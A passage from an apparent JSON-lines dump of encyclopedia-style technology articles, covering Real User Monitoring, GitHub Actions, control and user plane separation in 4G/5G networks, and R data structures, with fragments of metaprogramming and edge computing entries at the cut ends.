Mainstream languages such as Java and C++ provide better support for metaprogramming. The arrival of MetaML proves that HGMP is possible beyond syntactically simple languages like Lisp.","meta":{"title":"Metaprogramming","href":"metaprogramming"}}
{"text":"# Real User Monitoring\n\n## Summary\n\n\nWebsites and mobile applications are constantly looking to improve end user’s experience with their product, be it stability, performance or usability. By passively observing every user’s interaction with the application, product teams can get deep insights into the user experience and take corrective action. This passive monitoring process is called Real User Monitoring (RUM) or End User Monitoring. \n\nTraditional methods of Application Performance Management focus on downtime or response time. These are from product features perspective rather than end-user perspective. RUM gives a transparent, real-time view of every single user transaction for IT managers to pre-emptively detect and resolve user issues. \n\nRUM tools typically insert small bits of JavaScript code into the client application for continuous data collection. Events such as DNS resolution, TCP connect time, SSL encryption negotiation, first-byte transmission, navigation display, page render time, TCP out-of-order segments, and user think-time are monitored.\n\n## Discussion\n\n### What are the key defining features of RUM?\n\n \n\n    + **User Journey Mapping** - Study of user interactions with product at various stages of familiarity with the product (User Lifecycle). Intuitive analysis to understand each user action and the motivation behind those actions. Trace user movement within the product – what they like to do, where they falter, what features they avoid, why they exit.\n    + **Real-time Alerts** - Using AI based analysis, problems detected in the user session are compiled into actionable notification alerts, even while user session is in progress. Example alert – “Error rate has been up for over 10 hours in the check-out page of ecommerce app”.\n    + **Individual User Session Monitoring** - Collection of chronological events for a particular end user from start of a web session to a configurable period of inactivity. During each user session, pages/components visited and timing information are collected.\n    + **Data Visualization and Analysis** - RUM collects data points from a high volume of users over wide range of metrics. Visualizations such as bar graphs, time series charts and area graphs make these large volumes of data human-readable. Actionable insights can be derived from the data.\n\n### What are the objectives of performing RUM?\n\nRUM is generally used by product managers and owners to discover key bottlenecks to meeting their business objectives – ROI, trial to subscription conversion rates, app downloads/uninstall rates and so on. By closely observing how users navigate their way through the app/website, it is possible to unearth the specific reasons for poor user engagement. \n\nRUM helps meet the following objectives: \n\n    + Debug a user’s navigation path in case of failed operations to surface hidden problems.\n    + Why a user experiences slow page load times - browser, network, server, or content download that is taking more processing time.\n    + Real-time measurement of key targets by tracking actual visits and delivering top-level data on actual use cases.\n    + Collect UX metrics such as NPS (Net Promoter Score), Usability Scale, App ratings, Time on Task, Click to Action.\n    + User segmentation and testing based on actual operating system, browser, user location, language, device or network settings. Helps in troubleshooting deployment specific issues.\n\n### How is RUM different from web analytics mechanisms such as Google Analytics?\n\nRUM and analytics tools like Google Analytics serve different purposes. Analytics are for collecting high level performance data from product perspective. They do not focus on individual user experience at all. These tools aggregate trends captured across web sessions and show them up as performance statistics.\n\nFor example, collect traffic data across the span of a single day, a week or a month. For high traffic scenarios, analytics tools use sampled traffic data for reporting purposes.\n\nThe main purpose of Google Analytics is to collect and analyse web data for SEO, lead generation and conversion tracking, from a marketing perspective. RUM instead focuses more on the actual root causes of performance issues that users may experience. \n\nIt is impossible to debug issues faced by an individual user using analytics. Or verify feature implementation across product versions. RUM enables monitoring user sessions across deployed devices/browsers or trace unhandled exceptions in a particular crash scenario. RUM captures 100% webpage hits, thus giving a very clear and close view of the user–product relationship.\n\nAnalytics is meant to be a post-mortem of web activity, whereas RUM is about real-time analysis and rectification. \n\n\n### What is synthetic monitoring and how does it compare with RUM?\n\nSynthetic monitoring is the process of analysing a website’s user experience and performance without actual users, instead by simulating them. It is especially effective in the pre-deployment phase, during in-house testing before going live. It's essential for load testing of high-traffic websites.\n\nSynthetic monitoring can answer queries such as: \n\n    + Is my website up and running?\n    + Are response times acceptable, especially with high load?\n    + Are all transactions working?\n    + If there is a slow down or failure where is it in the infrastructure?\n    + Are my third party components operating correctly?\n    + How is the performance versus cost?Unlike RUM, synthetic monitoring cannot used to find what the real user is experiencing. In real-time deployment scenarios, synthetic test cases may all pass, but a real user might still face transaction outage or speed issues. This can be identified only using RUM.\n\nIt’s almost impossible to simulate practical failure cases such as those related to geographical location access, specific user device settings, unexpected network outage.\n\nThe general practice is to run synthetic monitoring test cases before going live, and real user monitoring after live deployment, at regular intervals. The two methods complement each other. \n\n\n### How is an RUM solution deployed?\n\nRUM tool usage is divided into two phases – Deployment and Execution.\n\nDuring deployment, two steps are performed:\n\n    + JavaScript code RUM integration with client-side product code\n    + Install RUM agent on target server on all deployed systems. It discovers all technologies and applications running on it (JS, PHP, IIS, .Net)RUM tool deployment requires full stack development skills.\n\nNow the tool is ready for usage. Its execution is navigated from the tool dashboard. User-specific access level permissions control data access. \n\n\n### What is the typical execution process flow for RUM?\n\n    + **Data Collection** - captures data about requests for pages, JSON, and other resources from browser to web servers, even when requested content is hosted on third-party sites.\n    + **User Session Analysis** - captured data regrouped into session-wise record of pages, components, timing information. User journey analysed for registered/anonymous users, new/recurring users. JavaScript errors checked for show stoppers or mild irritants.\n    + **User Performance Analysis** – Various response times as perceived by user are studied at front/back end. Metrics optimised as per user bandwidth availability.\n    + **User Behavior Analysis** – Frequent user activities, entry/exit actions, landing pages, last page viewed before exit, bounce rate, user leaving app after first visit are studied.\n    + **Problem Detection** - undesirable behaviour such as slow response time, system problems, page load errors, transaction failures, web navigation errors, analyzed for different pages, objects, sessions.\n    + **AI-powered Root Cause Analysis** - DevOps team perform RCA and map user issues with underlying root cause. Analytics model understands the context of each metric.\n    + **Reporting and Notification** - Various data visualization formats and problem reports can be accessed. When data points cross configured thresholds, notification alerts can be configured to be sent.\n\n### What are the popular RUM tools used?\n\nRUM tools are testing and analysis platforms that enable product teams to study whether applications are working as per their intended design.\n\nRUM tools are generally deployed within the product environment by embedding JavaScript snippets into product code. They are not plug and play tools, they require code-level integration with the product. Most of the tools support React, AJAX, AngularJS web applications. For RUM on mobile apps, code is embedded into the app source code for Android/iOS apps. \n\nRUM tool dashboard can then be used to monitor user sessions at real-time and observe key metrics such as page rendering time, environment specific performance, error rates, and bounce rates. Alert notifications can be set for key touch-points. \n\nSome tools also support Single Page Application monitoring (where web apps dynamically rewrite current page content itself every time, instead of loading new pages for every operation). Such apps mostly use AJAX requests to pull content dynamically and create a fluid user experience.\n\nSome of the popular RUM tools include Sematext, Monitis from TeamViewer, SmartBear, Dynatrace, SOASTA mPulse from Akamai, Raygun, AppDynamics from Cisco, and CXOptimize by Cognizant (Open Source). \n\n\n### What are the limitations and concerns in using RUM?\n\nRUM is useful in several scenarios, but has some limitations. There are also concerns of performance overhead and security. Some are listed below:\n\n    + **Not effective with limited traffic** – Before product launch or just after launch, websites/apps don’t generate much traffic. RUM would not detect any meaningful issues at this stage. It works best when there is steady traffic volume.\n    + **Generates too much of data** - Ironically, during heavy usage, large number of datasets are collected. Small companies won't have sufficient DevOps resources for analysing this.\n    + **Trial and error visible to users** - Synthetic monitoring is done using simulated environments without involving the actual user. Whereas, RUM tool runs in actual production environment. If issues are found regularly, users would notice frequent product updates. Product may appear immature.\n    + **Exposure risk at code level** - Product teams must be careful before integrating RUM script code into product source code. Critical product functionality should not get exposed to external threats.\n    + **Not useful for benchmarking** - RUM data is inherently random because it depends entirely on user activity which is unpredictable. So fixed interval monitoring of data may not yield accurate benchmarking results.\n\n\n## Milestones\n\n2005\n\nGoogle launches its **Web Analytics** solution that tracks and reports website traffic. \n\n2006\n\nDynatrace, Sematext and other software intelligence companies introduce their **Application Performance Management** products of which RUM is a part. Over the next few years, these tools employ Big Data and Cloud Based services to help internet companies monitor their user traffic. \n\n2008\n\nISO Standard for measuring User experience was established (ISO 9241-210) as early as 1999. With its introduction in 2008, **ISO 13407** is revised for human-centred design for interactive systems. The goal is to establish standards and metrics to measure user experience and engagement with web applications. \n\n2016\n\nGartner defines end-user experience in three dimensions - (a) End User Experience Monitoring (RUM); (b) Application discovery, tracing and diagnostics (ADTD); (c) Application analytics (AA). \n\nFeb  \n2017\n\nIn a blog post, LinkedIn engineer describes how they used RUM to improve the performance of a Single Page Application (SPA). RUM data helped them identify bottlenecks. Traditional RUM libraries rely on Navigation Timing API and Resource Timing API. But these fail to capture JavaScript execution times. To address this, they use User Timing API. To improve performance, they lazy load data and do lazy rendering. Their web application is now faster by 20%.","meta":{"title":"Real User Monitoring","href":"real-user-monitoring"}}
{"text":"# GitHub Actions\n\n## Summary\n\n\nIn any software project, there are repetitive tasks that can benefit from automation. Code reviews, branch management, pull request labelling, regression testing, issue triaging, release management, npm package publication, and cloud deployment are examples of such tasks. These are hard to do manually or consistently. GitHub Actions is feature of GitHub to automate these tasks. \n\nBefore 2018, third-party tools and services such as CircleCI, Jenkins and Travis CI were used to automate some of these tasks. Bots automated repetitive tasks. With GitHub Actions, it's now possible to do these more easily within the GitHub platform for code hosted at GitHub.\n\nThe GitHub Marketplace has thousands of free GitHub Actions shared by developers. This improves productivity for developers and teams. Actions can be executed for private/public repositories under free/paid plans, though limits differ.\n\n## Discussion\n\n### What are the use cases for GitHub Actions?\n\nWhile there are thousands of tasks that could be automated with GitHub Actions, we mention a few. The notable use case is CI/CD in which every commit triggers a build-and-test cycle so that code merges become simpler and errors are caught proactively. \n\nWhen making a software release, with Actions we can build the software for multiple architectures in parallel.  Likewise, for software testing or code coverage, we can exercise the software across all variations of platform versions, browsers, operating systems, etc. \n\nBefore publishing container images to a registry, it's a good idea to scan them for security vulnerabilities. After scanning, the resulting metadata is checked against security policies for compliance. These tasks can be part of a GitHub Actions workflow. \n\nGitHub itself uses Actions to track vulnerabilities in open source components they use. When an issue is raised, a workflow updates an internal database and reports it as per security policies. \n\n\n### What are the components of GitHub Actions?\n\nWe describe the following components:  \n\n    + **Workflow**: Encapsulates a specific automation. Defined in a configurable YAML file at `.github/workflows` within the repository. A repository can have multiple workflows.\n    + **Event**: Triggers a workflow. Pull request, new commit and new issue are examples of events. A REST API call, a manual trigger or a defined schedule can also trigger workflows. See the full list of events.\n    + **Job**: A sequence of steps that define the actual execution of a workflow. A shell script or an action is executed. A workflow can have one or more jobs. Jobs can be defined to run in parallel or in sequence. Steps within a job are sequential and can share data.\n    + **Action**: A custom application for the GitHub Actions platform. Encapsulates repetitive tasks and enables code reuse across workflows. Actions are steps in a job. Configured in a YAML file at `.github/actions`.\n    + **Runner**: A server that runs a workflow. A runner runs a single job. GitHub provides Ubuntu Linux, Microsoft Windows, and macOS runners. Projects can also use self-hosted runners. Each workflow run creates a new virtual machine.\n\n### Could you describe some important features of GitHub Actions?\n\n**Reusability** is an essential feature. A workflow can reuse actions defined in the same repository, a public repository or a published image on Docker Hub. A workflow itself can be reused if defined in the same repository or a public repository. \n\nActions can use **variables**. These are name-value pairs under `env`, which can be scoped to the entire workflow, a job or a step. In addition, workflows can use default environment variables. Examples include `GITHUB_ACTION_PATH`, `GITHUB_EVENT_NAME`, `GITHUB_RUN_ID`, `RUNNER_ARCH`, `RUNNER_OS`, and many more. \n\n**Expressions** are those within `${{…}}`. In conjunction with `if`, they can be used to execute jobs or steps conditionally. Expressions include literals (`null`, `true`, `false`, numbers, strings), operators (index, compare, logical, etc.) and functions (`contains`, `startsWith`, `join`, `toJSON`, etc.). \n\n**Contexts** are objects that contain useful information. Available contexts include `github`, `env`, `job`, `steps`, `runner`, `secrets`, `strategy`, `matrix`, `needs`, and `inputs`. Default environment variables exist only on the runner. In other parts of the workflow, use contexts. For example, `if: ${{ github.ref == 'refs/heads/main' }}` executes the job only if the current branch is `main`. \n\n\n### What's the mechanism to pass data among jobs and workflows?\n\nTo set an environment variable, here's an example showing two ways to do it: `echo \"action_state=yellow\" >> $GITHUB_ENV` within a `run` or `action_state: yellow` within `env` context. Subsequent steps of the job can access it via `env.action_state`. In shells, it can be accessed as `$action_state` (Linux) or `$env::action_state` (PowerShell). \n\nSuppose *job2* depends on *job1*. Via `outputs` property, *job1* can pass data to *job2*, which can access it via the `needs` context. **Workflow artifacts** allow for persistent data across jobs of the same workflow. Common artifacts include log files, core dumps, test results, code coverage results, screenshots, and binary files. \n\nTo pass inputs to a workflow, the property `inputs` can be used. Each input has a name and sub-properties `description`, `type`, `default` and `required`. Within the workflow, inputs can be accessed via `github.event.inputs`. \n\n\n### What's the platform and language support for GitHub Actions?\n\nGitHub Actions is supported on Linux, Windows and macOS platforms. Workflows can be configured to use specific versions of these platforms or the latest version. This is specified via the job property `runs-on`. Another useful feature **build matrix**. With a single job definition, developers can execute variations of the job in parallel, such as for different OS or Node versions. This is specified with the job property `strategy.matrix`. \n\nFor programming actions, GitHub Actions supports C, C++, C#, Go, Java, JavaScript, PHP, Python, Ruby, Scala, and TypeScript. \n\nWithin a Docker environment any platform and any language can be used. The job property `container` includes container configuration including image, environment, ports and volumes to use. A developer can releases Docker images for various architectures.To facilitate this, Docker has published actions for QEMU setup (`docker/setup-qemu`), enhanced build capability (`docker/setup-buildx`), Docker Hub authentication (`docker/login-action`), and build and push images to Docker Hub (`docker/build-push-action`). \n\n\n### What are some best practices for GitHub Actions?\n\nKeep actions minimal to reduce wait times and favour reuse. Install only necessary dependencies. In fact, leverage GitHub's feature that can cache dependencies. In case of Node.js, publish the entire `node_modules` folder. Don't pollute the global environment with lots of variables. Variables can be scoped to narrower levels such as a job or a step. Don't overwrite default environment variables. To attribute action to authors, use the `author` metadata in YAML file. Version actions properly. Test actions before releasing them. \n\nFrom a security standpoint, avoid self-hosted runner in a public repository. Someone could take a fork and submit a pull request with malicious code. Use GitHub web interface to manage secrets. Never hardcode these actions in a YAML file. Don't dump context data into logs since this could expose sensitive information. \n\nMany Marketplace actions are not certified by GitHub. Have a security policy to either fully block them or allow them via forking. When reusing actions, pick a stable version rather than the latest on the master branch. \n\n\n### What tools can help developers create GitHub Actions?\n\nFor many common use cases, developers need not create actions from scratch. The GitHub Marketplace has 12,000+ actions shared by developers and organizations. Of these, nearly 300 are from verified creators. Marketplace actions are grouped into many categories: API management, code quality, continuous integration, dependency management, IDEs, mobile, monitoring, security, testing, and more. \n\nBeginners can start with the official documentation. The GitHub Actions guides has tutorials and overviews on specific use cases. Take a look at the course material of GitHub Actions: Hello World. For a summary, consult the Actions Cheat Sheet.\n\nDetails of VMs used by GitHub-hosted runners are available.\n\nThose using other CI/CD tools can read the migration guides. These are available for Azure Pipelines, CircleCI, GitLab CI/CD, Jenkins and Travis CI.\n\nTo help developers build actions easily, toolkits are available. The official toolkit supports JavaScript, TypeScript and Docker. An alternative is Etcovitch's toolkit. A curated list of GitHub Actions is also available online.\n\n## Milestones\n\nApr  \n2008\n\n**GitHub** is launched as an online software repository that uses Git, a decentralized version control system. By July, GitHub hosts 10,000 repositories. It's particularly popular among open source and Rails communities. \n\nOct  \n2018\n\nMicrosoft is in the process of acquiring GitHub. About the same time, **GitHub Actions is announced**. This makes GitHub more than just a code repository. Workflows can be automated. Sam Lambert, GitHub's platform head, describes this as \"the biggest shift we've had in the history of GitHub.\" \n\nNov  \n2018\n\nA study of 351 sampled open source projects on GitHub finds that 93 (26%) use bots. This excludes the newly launched GitHub Actions. Bots are used for ensuring license agreement signing, reporting integration failures, reviewing code, reviewing/merging pull requests, assigning reviewers, welcoming newcomers, running automated tests, building, creating issues, and more. \n\nNov  \n2019\n\nDue to popular demand from developers, support for **CI/CD** becomes generally available. An example CI/CD pipeline would be to trigger a build and deploy to Heroku whenever a new commit happens on the master branch. Based on the project, GitHub can suggest suitable Actions workflows. It's now easy to publish/consume packages from GitHub Package Registry and other registries. Beta version of this feature was announced in August.  \n\nSep  \n2020\n\nWith the release of GitHub Enterprise Server 2.22, GitHub Actions is for the first time **supported in GitHub Enterprise Server**. This includes support for enterprise features such as centralized self-hosted runners, runner groups to manage access controls, and custom workflow templates. By now, GitHub Actions is the most popular CI solution on GitHub.com. \n\nMar  \n2021\n\nKinsman et al. publish results of a study on how developers are using GitHub Actions on open source projects. The study considers the period Nov 2019 to Aug 2020. Of the 416k+ active repositories, only 0.7% are using actions. Python, Java and Ruby repositories are the top adopters. Common actions include repository checkout or environment setup. Most actions are in the categories of continuous integration, utilities and deployment. They also find that Actions doesn't result in faster merges of pull requests. \n\nOct  \n2021\n\nBeta version of **reusable workflows** is introduced. Repetitive tasks can be encapsulated into actions or workflows. This reduces duplication and brings consistency. Like actions, workflows support inputs and outputs to pass data. In November, this feature becomes generally available. \n\nFeb  \n2022\n\nAt the GitHub Marketplace, there are now 12,000+ Actions that developers can readily use.","meta":{"title":"GitHub Actions","href":"github-actions"}}
{"text":"# Control and User Plane Separation\n\n## Summary\n\n\nIn traditional 4G LTE networks, control plane and user plane functionalities were combined into the same network elements. The Serving Gateway (SGW), the PDN Gateway (PGW) and the Traffic Detection Function (TDF) are examples. In Release 14, 3GPP published a modified architecture is which the two planes were separated. Called **Control and User Plane Separation (CUPS)**, SGW got split into SGW-C and SGW-U. Likewise, we obtained PGW-C, PGW-U, TDF-C and TDF-U. CUPS was subsequently adopted in the design of the 5G System, both in the 5G Core and in the NG-RAN.\n\nCUPS leads to better scalability and performance. For the more demanding use cases of 5G, CUPS may play a significant role. Control and user plane specifications can now evolve independently. However, implementing CUPS has its challenges.\n\n## Discussion\n\n### Could you give an overview of CUPS?\n\nThe figure shows an example of CUPS as applied in 4G/LTE EPC (Evolved Packet Core). SGW and PGW are split into their respective control plane and user plane parts. These parts communicate via the PFCP protocol. Each plane has a well-defined functionality. For example, packet forwarding and transport level packet marking are exclusively user plane features. \n\nWhen a PDU session is established, the CP function gets involved. CP associates with a UP function and configures the latter to process user plane traffic. Subsequently, when user plane traffic flows, UP function is actively involved. UP function occasionally updates CP function as necessary. UP bandwidth per session is in the order of Gbps whereas CP bandwidth requirement is perhaps only a few Mbps. UP latency for URLLC is 1ms whereas for CP its 10ms. With these differing performance requirements, it makes sense to separate CP and UP functions.\n\nIn 5G CUPS, SMF takes care of the signalling while UPF is the user plane counterpart. SMF and UPF communicate using PFCP over the N4 interface.  \n\n\n### Is CUPS applicable for the RAN?\n\nIn 5G's Next-Generation Radio Access Network (NG-RAN), gNB is no longer a monolith. It's disaggregated into Central Unit (CU), Distributed Unit (DU) and Radio Unit (RU). Furthermore, the CU is split into CU-CP and CU-UP for the control plane and user plane respectively.  A gNB consists of one CU-CP and one or more CU-UP/DU/RU each.  \n\nDue to CUPS applied to CU, we have these new interfaces: E1 interface between CU-CP and CU-UP, F1-c interface between CU-CP and DU, and F1-u interface between CU-UP and DU. Moreover, old X2, Xn and NG interfaces are disaggregated into X2-C/X2-U, Xn-C/Xn-U and NG-C/NG-U respectively. The E1 interface is purely a control plane interface. \n\nCU/DU split can be done in many ways. For standardization work, 3GPP adopted what's called *Option 2* in which RRC/PDCP-C are in CU-CP, SDAP/PDCP-U are in CU-UP, and RLC/MAC/PHY are in DU.  \n\nIn 4G/LTE, ng-eNB is disaggregated into ng-eNB-CU and ng-eNB-DU. Between these two, W1-C and W1-U interfaces are defined. However, unlike in 5G, ng-eNB-CU is not split into separate control and user plane entities. \n\n\n### What are the key benefits of CUPS?\n\nDue to CUPS, CP and UP functions can be scaled independently. During peak periods, more UP nodes can be added without increasing the CP nodes. UP functions can be located closer to UEs that they serve, thus reducing latency. A UE may be served by a single CP function and many UP functions, one for each PDU session. \n\nFor operators, CUPS can result in lower operating cost. By processing data at the edge, backhaul costs can be reduced. Each UP function can be specialized for the application use case it serves. CUPS allows operators deliver new services and handle traffic growth without sacrificing customer experience. \n\nCP and UP functions can evolve independently. For example, CP nodes may be upgraded without upgrading UP nodes, provided the evolution is backward compatible. \n\nLikewise, CUPS in NG-RAN gives operators flexibility, and optimize for cost and/or performance. \n\n\n### What are the possible deployments due to CUPS?\n\nThe figure shows three possible deployments. For low latencies, SGW-U/PGW-U can be deployed closer to cell sites. In urban areas with a large subscriber base, high performance and high capacity SGW-U/PGW-U may be deployed. If we need resilience to disasters and congestion, SGW-U/PGW-U may be deployed with redundancy. In other words, if one SGW-U/PGW-U goes down, another in hot standby mode will take over. For that matter, we can have similar redundancy in the control plane as well. \n\nIn the RAN, we can co-locate CU-CP and CU-UP in the cloud. An alternative is to co-locate CU-UP and DU at the edge while CU-CP remains centralized in the cloud. This can reduce the midhaul latency but at the expense of control plane signalling overhead. \n\n\n### How does a CP function select a UP function?\n\nIn traditional 4G EPC, MME selects SGW and PGW using DNS. This is based on UE's location and Access Point Name (APN). With CUPS, MME selects SGW-C/PGW-C and the latter select SGW-U/PGW-U. SGW-C/PGW-C will use UE's location, APN, UP performance and load status. Thus, with CUPS, SGW-C/PGW-C uses dynamic information in the selection of SGW-U/PGW-U. \n\nSuppose a UE has an IMS voice session and a data session. Before CUPS, an EPC wishing to avoid the S5 hop would select the same node for SGW and PGW of both sessions. With CUPS, a combined SGW-C/PGW-C plus two specialized combined SGW-U/PGW-U nodes can be selected. \n\nIn some scenarios, selecting the right SGW-U/PGW-U can be a problem. For example, SGW-C and PGW-C may select UP functions that are not co-located. This results in two hops in the data path. The figure shows a UE in 5G-to-4G handover. SGW-C doesn't know which UP function is being currently used. \n\n\n### What's the migration path from traditional deployment to CUPS-based deployment?\n\nA traditional 4G transport network may not get the full benefits of CUPS. Migrating EPC towards CUPS enables smooth evolution towards 5G Core. Cisco has proposed a three-stage migration: inline CUPS where CP and UP functions are logically separated; co-located CUPS where CP and UP functions are separate nodes but co-located in the same data center; remote CUPS where the functions are in different data centers. \n\n## Milestones\n\nJul  \n2015\n\nAt the SA WG2 Meeting #S2-110, a study item titled *Feasibility Study on Control and User Plane Separation of EPC nodes* is proposed. This is subsequently approved in September at the 3GPP TSG SA Meeting #69. The document notes that such a separation shall not affect the functionality of the nodes being split. It shall not affect UE or RAN. New reference points shall be introduced only among the split parts of SGW, PGW and TDF. \n\nJun  \n2016\n\n3GPP publishes **TR 23.714** titled *Study on control and user plane separation of EPC nodes* as part of Release 14. The document identifies the different issues and possible solutions. The selected solution is a functional split of user plane and control plane functions, including the case of combined SGW/PGW. User plane functions shall be selected by the respective control plane functions. \n\nSep  \n2016\n\n3GPP publishes **TS 23.214** that specifies the architectural changes to support CUPS in LTE EPC. This is for Release 14. This evolves for other releases: V15.0.0 (Sep 2017), V16.0.0 (Jun 2019) and V17.0.0 (Jun 2021). \n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of Release 15. This release specifies CUPS in 5G Core in **TS 29.244** (Jun 2017) and CUPS in NG-RAN in **TS 38.401** (Dec 2017). Thus, unlike in 4G, 5G has adopted CUPS from the outset.\n\nJan  \n2020\n\nThe O-RAN Alliance publishes documents detailing the O-RAN architecture. These documents show CUPS applied to the RAN. In particular, the Open Distributed Unit (O-DU) and the Open Central Unit (O-CU) are split. E1 interface connects O-CU-CP and O-CU-UP. F1-c and F1-u interfaces connect O-CU-CP and O-CU-UP to the O-DU. These interfaces are in fact specified by 3GPP and adopted by O-RAN.","meta":{"title":"Control and User Plane Separation","href":"control-and-user-plane-separation"}}
{"text":"# R Data Structures\n\n## Summary\n\n\nR is an object-oriented language and all data structures are objects. R doesn't provide programmers direct access to memory and all data must be accessed via symbols or variables that refer to objects. \n\nSince vectorized operation is an important aspect of R, R does not have any scalars. The most basic data structure is a `vector`, which is a sequence of data items. Thus, a single integer value is treated as an integer vector of unit length. The most versatile data structure is the `list` while the most common one used for data analysis is the `data.frame`. \n\nThe terms *data type* and *mode* usually refers to what is stored (integer, character, etc.). The term *data structure* usually refers to how data is stored, that is, the containers (vector, list, etc.).\n\n## Discussion\n\n### What data types are available in R?\n\nData types are many. The common ones include `integer`, `real`, `complex`, `logical` and `character`. Types `integer` and `real` are termed as `numeric`. There's no separate \"string\" type. Instead, `character` type is sufficient to denote strings. \n\nIntegers are specified with a suffix \"L\", such as `23L` or `-2L`. Real numbers are specified without this suffix, such as `2.3` or `23`. Examples of complex numbers are `-2+3i` and `-45i`. Logical type can take values `TRUE` or `FALSE`. These have shortforms `T` and `F`. Character type can be specified by a matching pair of single or double quotes, such as `\"R\"`, `'R'` or `\"This is R!\"`.\n\n\n### Could you compare vector, matrix, array, list and data.frame?\n\nThe following data structures are common in R: \n\n    + `vector`: Contains a sequence of items of the same type. This is most basic structure. Items of a vector can be accessed using `[]`. Function `length` can be called to know the number of items.\n    + `list`: Represented as a vector but can contain items of different types. Different columns can contain different lengths. Items of a list can be accessed using `[[]]`. This is a recursive data type: lists can contain other lists.\n    + `array`: An n-dimensional structure that expands on a vector. Under the hood, this has `dim` and optionally `dimnames` attributes, which don't exist for vectors. Like vectors, all items must be of the same underlying type.\n    + `matrix`: A two-dimensional array.\n    + `data.frame`: While all columns of a matrix have same type, with data frames, different columns can have different types.Formally, vectors can be said to be of two types: atomic vectors (items of same type) and lists. In practice, when we say vectors we are referring to atomic vectors.\n\n\n### What are factors?\n\nConsider the sex of a person. This variable can have only two possibilities or categories: male or female. We call this categorical data and *factors* are used to represent such data. Roughly equivalent to an \"enum\" type in C, factor represents a finite set of values.\n\nUnder the hood, these are nothing more than integer vectors with each integer representing one category. In R, these possible values are called *levels*. \n\nThus, though sex may contain values \"male\" or \"female\", these are not characters but integers. In addition, factors can be ordered or unordered. For example, sex may be defined as unordered factor. Olympics medal may be defined as ordered factor such that Bronze < Silver < Gold.\n\n\n### Is the NULL object a special data type?\n\nR documentation states that \"the NULL object has no type and no modifiable properties\". Attributes don't apply to NULL. When you want to indicate absence, NULL can be used. A vector or list of zero length is not the same as NULL. \n\n\n### How to interpret the functions class, mode, typeof and storage.mode?\n\nAll these functions can be called on R with differing results. Function `class` represents the object's abstract type whereas `typeof` is the object's specific type. A good example is factors: its class `factor` but its type is `integer`. Another example is a data frame: its class is `data.frame` but its type if `list`. \n\nFunction `mode` is similar to `typeof` and it exists for compatibility with R's predecessor, the S language. Function `storage.mode` also exists for compatibility with S. It's useful when interfacing to code in other languages. For example, consider a vector of integers. Functions typeof, mode and storage.mode will respectively return `integer`, `numeric` and `integer`. In S, both integers and reals have the same mode and hence storage.mode becomes useful. \n\nHadley Wickham has commented that it's best to avoid using mode and storage.mode in R. If we need the underlying type, calling `typeof` should be preferred over `storage.mode`. \n\n\n### What are some basic operations on R vectors?\n\nHere are some basic operations on vectors:\n\n    + **Combining**: We can combine vectors into a single vector. Eg. `v <- c(v1, v2)` to combine v1 and v1 into v.\n    + **Indexing**: Indexing starts from 1. Negative numbers imply selecting all others except those specified. Eg. `v[1]` for first element; `v[-3]` for elements except the third one. Indexing may be treated as a special case of subsetting.\n    + **Subsetting**: We can select a subset of a vector by using integer vectors for indexing. Eg. `v[c(1,3,5)]` to select first, third and fifth element; `v[1:3]` to select the first three elements. We can also use a logical vector to subset a vector. Eg. `v[v > 5]` to select elements with value greater than 5.\n    + **Coercing**: Since vectors contain elements of a single type, values are coerced to a single type if they are different. Eg. `v <- c(12L, 2.2, TRUE)` coerces to doubles [12.0, 2.2, 1.0]; `v <- c(2.2, TRUE, \"Hi\")` coerces to characters [\"2.2\", \"TRUE\", \"Hi\"].\n    + **Converting**: May be called *explicit coercing*. Convert the type. Eg. `as.integer(c(3, 2.2, TRUE))` becomes [3, 3, 1]; `as.numeric(c(2.2, TRUE, \"Hi\"))` becomes [2.2, NA, NA], where NA stands for \"Not Available\".\n\n### Are there datasets to understand the different data structures?\n\nR comes with many datasets for experimental analysis and learning. These can be listed by typing `data()` in the R console. Details of each dataset can be obtained by using `?` or `help`. For example, for help on \"rivers\" dataset type either `?rivers` or `help(rivers)`. It's been said that datasets \"mtcars\", \"iris\", \"ToothGrowth\", \"PlantGrowth\" and \"USArrests\" are commonly used by researchers. \n\nAn example of vector is the \"rivers\" dataset. An example of a vector with names given to each observation is \"precip\". There are plenty of examples for data.frame: \"airquality\", \"mtcars\", \"iris\". An example of a list in \"state.center\" dataset.\n\nIn \"CO2\", \"Plant\" variable is an ordered factor whereas \"Type\" variable is an unordered factor. Dataset \"Titanic\" is of class `table`, which is a type of array. This data structure records counts of combinations of factor levels.\n\nAn object can belong to multiple classes. As an example, try `class(CO2)` and `str(CO2)`. It's a data.frame but also belongs to other classes.\n\n\n### Can you give examples of data structures beyond the core ones given by R?\n\nDevelopers can create their own data structures that can build on top of the basic ones. One popular one is called **data.table**, which is based on data.frame. It offers a simplified and consistent syntax for handling data. \n\nAnother example is **tibble**, which retains the effective parts of data.frame and does less work so that developers can catch problems early on. \n\nIf you want to display data frames in HTML with conditional formatting (like in Microsoft Excel), **formattable** is a suitable package to use. \n\nAnother package named **dplyr** isn't exactly a data structure. Rather, it offers a number of functions for manipulating data. It comes as part of the *tidyverse* collection of R packages targetted towards data science. \n\n## Milestones\n\n2006\n\nVersion 1.0 of **data.table** is released. \n\nApr  \n2013\n\nR version 3.0.0 is released. This version supports vectors longer than `2^31 - 1` elements. This applies to raw, logical, integer, double, complex and character vectors, as well as lists. Elements of character vectors are limited to `2^31 - 1` bytes. \n\nJan  \n2014\n\nHadley Wickam releases version 0.1 of **dplyr**, which is meant \"to provide a consistent set of verbs that help you solve the most common data manipulation challenges.\" Version 1.0.0 is release in May 2020. \n\nApr  \n2020\n\nR version 4.0.0 is released. This version uses `stringsAsFactors = FALSE` as default when reading tabular data via `data.frame()` or `read.table()`. Previous versions used to convert strings to factors by default.","meta":{"title":"R Data Structures","href":"r-data-structures"}}
{"text":"# Edge Computing\n\n## Summary\n\n\nWith the growth of the Internet of Things (IoT) billions of devices are generating huge amounts of data. But to store or analyze all that data in real time is almost impossible. This is where edge computing becomes relevant. \n\nWith edge computing, we process data closer to the source, such as an IoT device, an IoT gateway, an edge server, a smartphone, or a user's computer. The idea is to move intelligence to the edge and let edge nodes/devices do **real-time analytics**. This reduces application latency and saves network bandwidth. The architecture is **distributed**, as opposed to centralizing all processing in the cloud. It minimizes long-distance client-sever communication.  \n\nGartner defines edge computing as, \n\n> part of a distributed computing topology where information processing is located close to the edge, where things and people produce or consume that information.\n\n## Discussion\n\n### Could you explain edge computing with an example?\n\nConsider a building security application that has many networked cameras. Cameras capture high-definition video streams. Assume that the cameras are 'dumb'. They simply capture and transmit raw video to a cloud server. The cloud server analyzes the video streams for motion detection. We note two problems in this scenario: strain on network bandwidth and strain on the cloud server that has to process videos from multiple 